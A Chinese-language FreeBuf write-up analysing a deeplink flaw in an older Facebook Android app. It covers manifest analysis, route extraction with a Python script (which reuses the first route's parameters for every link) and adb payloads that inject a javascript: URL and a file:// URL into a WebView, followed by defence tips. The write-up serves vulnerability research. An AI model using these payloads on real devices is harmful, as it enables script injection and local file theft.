Facebook任意JS程式碼執行漏洞原理與利用分析
*本文作者:Tasfa,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。
前言
最近FB Android應用爆出了一個任意JS程式碼執行的漏洞,著手分析了一下,也挺有趣,分享學習一下,有不當之處還請包涵,歡迎討論學習。
0×00 概述
測試環境:
Android 4.4 nexus 5
測試版本:
Facebook com.facebook.katana_186.0.0.48.81.apk
測試版本下載:
ofollow" rel="nofollow,noindex" target="_blank">9Apps
0×01 漏洞原理
根據漏洞的簡單描述,得知漏洞起因依舊是deeplink的問題,如果對這方面知識不熟悉,可以參考我的其他文章。
既然是deeplink,切入的思路從AndroidManifest.xml也是比較正常的思路。通過搜尋”<data”、”android:scheme”等關鍵詞,可以定位到關鍵的activity:
activity android:theme="@7F1D0588" android:name="com.facebook.katana.IntentUriHandler" android:taskAffinity="com.facebook.task.IntentUriHandler" android:excludeFromRecents="true" android:launchMode="3" > <intent-filter > <action android:name="android.intent.action.VIEW" > </action> <category android:name="android.intent.category.DEFAULT" > </category> <data android:scheme="facebook" > </data> </intent-filter> <intent-filter > <action android:name="android.intent.action.VIEW" > </action> <category android:name="android.intent.category.DEFAULT" > </category> <category android:name="android.intent.category.BROWSABLE" > </category> <data android:scheme="fb" > </data> </intent-filter> ...省略android:scheme=http/https <intent-filter > <action android:name="android.intent.action.VIEW" > </action> <category android:name="android.intent.category.DEFAULT" > </category> <category android:name="android.intent.category.BROWSABLE" > </category> <data android:scheme="dialtone" > </data> </intent-filter> </activity>
分析可知:
該Apk有三個scheme,但只有兩個有屬性android:name=”android.intent.category.BROWSABLE,因此可以通過瀏覽器開啟的只有”fb”、”dialtone”;
自然,切入com.facebook.katana.IntentUriHandler檢視究竟;
這裡有個小問題,直接開啟jeb是無法找到這個類的,直接找臺root手機在記憶體中把dex摳出來,或者在app的data/dex目錄下都可以拿到dex檔案;
拿到了總共12個dex檔案;
全部載入進jeb,搜尋關鍵字即可。
但是存在問題就是分散的dex,jeb無法進行關聯,因此大部分會反編譯失敗,只能閱讀smali程式碼,或者另一種思路,即是將其合併成一個完整的dex。
這裡我們進行另一個思路,我們可以全域性搜尋fb://關鍵字,看看有什麼關鍵的資訊。
搜尋後我們發現assets/Bundle-fb4.js.hbc,通過分析該檔案,找到了大量的fb協議deeplink。
fb://embedded_native_browser?url=https%3A%2F%2Fwww.buzzfeed.com%2FsigninePatchImaget fb://marketplace_product_details_from_for_sale_item_id?forSaleItemID=blink_informatStringetMonthNamesTrying fb://adsmanager/image/select/{page}/test_portal_pickergb(251, 114, 75) fb://ama?entryPoint=BOOKMARK&targetURI=%2FywV1681912765254542690646773064807605154172325604775729VXkLTLove
我們再繼續搜尋關鍵詞embedded_native_browser、ama等等。
發現另一個檔案react_native_routes.json存在大量可利用的特徵:
{ "name": "AMAShellRoute", "navigationOptions": { "fb_hidesTabBar_POST_IN_IOS_NAVIGATION_BEFORE_USING": "<fb_hidesTabBar>", "fb_showNavBarSearchField": false, "presentationMethod": "<presentationMethod>" }, "path": "/ama", "paramDefinitions": { "entryPoint": { "type": "String", "required": false }, "fb_hidesTabBar": { "type": "String", "required": false }, "presentationMethod": { "type": "String", "required": false }, "targetURI": { "type": "String", "required": false } }, "access": "exported" },
從名字也可知道這是關鍵的路由url,由於檔案比較長,我們可以自動化指令碼處理一下,自動化生成deeplink。
import json with open('1.json',"rw") as load_f: load_dict = json.load(load_f) for x in xrange(0,len(load_dict)): param = '' keys = load_dict[0]['paramDefinitions'].keys() for y in xrange(0,len(keys)): param = param + keys[y] + '=' + load_dict[0]['paramDefinitions'][keys[y]]['type'] + '&' url = 'fb:/' + load_dict[x]['path'] + '/?' + param
結果節選:
fb://ama/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://aymtinstadeck/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://activitylog_edit_privacy/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://activitylogfiltered/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://activitylog/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://pagesadminhelp/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://canvaseditor/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://adsmanager/{account}/insights/{adObject}/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://adsmanager/image/select/{page}/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://ads_payments_add_bank_account/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://ads_payments_add_credit_card/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://ads_payments_add_paypal/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://ads_payments_billing_date/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://ads_payments_billing_date_saved/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://ads_payments_brazil_address_info/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://ads_payments_brazil_tax_id/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://ads_payments_checkout_receipt/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://ads_checkout_payment_receipt/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://ads_payments_checkout/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://ads_payments_collect_tax_details/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://ads_payments_country_selector/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://ads_payments_add_card/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://ads_payments_currency_selector/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://ads_payments_direct_debit_country_selector/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://ads_payments_flow/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://ads_payments_gst_id/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://ads_payments_prepay_business_info/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://ads_payments_prepay_client_info/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://ads_payments_prepay_disclaimer/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://ads_payments_prepay_funding/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://ads_payments_prepay_payment_status/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://ads_payments_redeem_coupon/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://ads_payments_select_payment_method/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://ads_payments_UK_direct_debit_guarantee/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://author_publisher_settings_add_publications_modal/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
總共有521個連結
0×02 漏洞利用
根據上面的指令碼跑出來的url,可以在其基礎上,隨機初始化引數後,自動化跑模擬器或真機,觀察結果。
Payload:
adb shell am start -a "android.intent.action.VIEW" -d "fb_url"
找出其中一些比較有利用價值的payload:
adb shell am start -a "android.intent.action.VIEW" -d "fb://payments_add_paypal/?url={STRING}" adb shell am start -a "android.intent.action.VIEW" -d "fb://ig_lwicreate_instagram_account_full_screen_ad_preview/?adPreviewUrl={STRING}" adb shell am start -a "android.intent.action.VIEW" -d "fb://ads_payments_prepay_webview/?account={STRING}\&contextID={STRING}\&paymentID={STRING}\&url={STRING}\&originRootTag={INTEGER}" adb shell am start -a "android.intent.action.VIEW" -d "fb://ig_lwicreate_instagram_account_full_screen_ad_preview/?adPreviewUrl=https://google.com"
由於牆內的原因(你懂的),最終效果引用原作者的圖
XSS 攻擊Payload
adb shell am start -a "android.intent.action.VIEW" -d "fb://ig_lwicreate_instagram_account_full_screen_ad_preview/?adPreviewUrl=javascript:confirm('https://facebook.com/Ashley.King.UK')"
LFI 攻擊Payload
adb shell am start -a "android.intent.action.VIEW" -d "fb://ig_lwicreate_instagram_account_full_screen_ad_preview/?adPreviewUrl=file:///sdcard/CDAInfo.txt"
0×03 漏洞防禦
1、儘量不要使用 setJavaScriptEnable(true)。
2、儘量使用加密的方式儲存deeplink路由資訊等等關鍵資訊。
3、進行非法來源檢測。
4、不要點選來歷不明的超連結。
0×04 參考
Breaking the Facebook for Android application
*本文作者:Tasfa,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。